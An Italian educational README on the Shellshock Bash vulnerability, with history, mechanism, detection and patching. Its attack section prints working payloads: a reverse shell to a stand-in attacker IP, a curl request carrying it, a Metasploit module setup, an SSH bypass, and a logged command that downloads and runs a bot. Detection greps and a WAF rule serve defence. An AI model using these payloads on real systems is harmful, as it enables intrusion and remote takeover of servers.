
Repository educativo che descrive la vulnerabilità Shellshock (CVE-2014-6271), compresi analisi tecnica, vettori di attacco, sfruttamento proof-of-concept e misure di mitigazione per l'iniezione di variabili d'ambiente in Bash.
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Esecuzione remota di codice tramite iniezione di variabili d'ambiente in Bash
"Un difetto che è rimasto nascosto in Bash per decenni e ha scosso le fondamenta di Internet in meno di 24 ore."
Shellshock (noto anche come Bashdoor) è una famiglia di vulnerabilità critiche nell'interprete di comandi GNU Bash che consente a un attaccante remoto di eseguire comandi arbitrari sul sistema target.
L'errore fondamentale: Bash non interrompeva l'analisi di una variabile d'ambiente al termine della definizione di una funzione. Qualsiasi codice concatenato dopo () { :; }; veniva eseguito automaticamente.
Variabile Env → Definizione di funzione → [QUI ESEGUE CODICE EXTRA] ← BUG
Poiché server web (CGI/Apache), servizi SSH e client DHCP convertono header o parametri in variabili d'ambiente di Bash, la superficie d'attacco era enorme.
12 Set 2014 ──── Stéphane Chazelas scopre il bug e lo segnala a Chet Ramey (manutentore di Bash)
Il bug esisteva in Bash da oltre 20 anni.
24 Set 2014 ──── Divulgazione pubblica + pubblicazione della patch (CVE-2014-6271)
Ore dopo: botnet attive che scansionano Internet massivamente.
25-30 Set 2014 ── Scoperte vulnerabilità correlate:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Ott 2014 ──────── Milioni di attacchi registrati. Paragonato per gravità a Heartbleed.
| Prodotto | Versioni vulnerabili | Stato |
|---|---|---|
| GNU Bash | 1.0.3 – 4.3 | Patch applicata |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Versioni pre-Set 2014 | Patch applicata |
| Apple macOS / OS X | 10.10 e precedenti | Patch applicata (Security Update 2014-005) |
| Dispositivi IoT con Bash integrato | Molteplici | Varia a seconda del produttore |
| Server web con CGI su Apache | Qualsiasi versione con Bash vulnerabile | Patch applicata |
Quando Bash importa una funzione da una variabile d'ambiente, legge fino alla chiusura } della funzione. Nelle versioni vulnerabili, continuava a elaborare il codice successivo invece di fermarsi.
# Variabile d'ambiente malevola:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Bash vulnerabile all'inizializzazione:
# 1. Legge la definizione di funzione → OK
# 2. Trova }; → dovrebbe fermarsi
# 3. CONTINUA → esegue /bin/cat /etc/passwd ← BUG
Attaccante Server Apache (CGI) Bash (vulnerabile)
│ │ │
│ Richiesta HTTP │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Converte header in env vars │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Esegue cmd
│ │ │ come www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Risposta + output del cmd │ │
env x='() { :;}; echo VULNERABILE' bash -c "echo questo è un test"
Risultato su sistema VULNERABILE:
VULNERABILE
questo è un test
Risultato su sistema PATCHATO:
questo è un test
(o un errore di sintassi — non stampa mai "VULNERABILE")
I server web che utilizzano script .cgi convertono gli HTTP Header in variabili d'ambiente di Bash.
Header interessati: User-Agent, Referer, Cookie, X-Forwarded-For, e qualsiasi header personalizzato
# Se il server ha ForceCommand configurato, un attaccante con chiave valida può bypassarlo
ssh user@target '() { :;}; /bin/bash'
Server DHCP malevoli possono iniettare variabili d'ambiente in client che usano Bash per elaborare la risposta DHCP.
# Qualsiasi processo che erediti variabili d'ambiente ed esegua Bash
env VAR='() { :;}; comando_malevolo' bash -c "script_legittimo"
nc -lvnp 4444
# Payload da iniettare nell'User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATTACCANTE/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sito-vulnerabile.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Cercare il pattern caratteristico in access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Esempio di log malevolo:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Processi figli di www-data/apache che non dovrebbero esistere
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- Nuovi file eseguibili in /tmp, /var/tmp, /dev/shm
- Connessioni in uscita dal server web verso IP sconosciuti
- Modifica di /etc/crontab o /etc/passwd
- Processi bash in esecuzione come www-data senza terminale
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Verificare la versione patchata (deve mostrare "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABILE
# GNU bash, version 4.3.33(1)-release → PATCHATO (varia per distribuzione)
# Deve restituire solo "questo è un test" — MAI "VULNERABILE"
env x='() { :;}; echo VULNERABILE' bash -c "echo questo è un test"
# 1. Disabilitare CGI se non necessario
a2dismod cgi
# 2. Regola WAF per bloccare il pattern
# In ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Tentativo Shellshock'"
# 3. Monitoraggio continuo dei log
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
Questo repository è esclusivamente per scopi educativi, ricerca in cybersecurity e audit di sicurezza autorizzati. Tutte le informazioni qui presentate sono di dominio pubblico. Eseguire test su sistemi senza autorizzazione esplicita è illegale secondo le leggi della maggior parte delle giurisdizioni. L'autore non si assume alcuna responsabilità per l'uso improprio di queste informazioni.
Scoperto da Stéphane Chazelas · Pubblicato il 24 Settembre 2014
CVSS Score: 10.0 (Critical) → Successivamente aggiustato a 9.8 in CVSSv3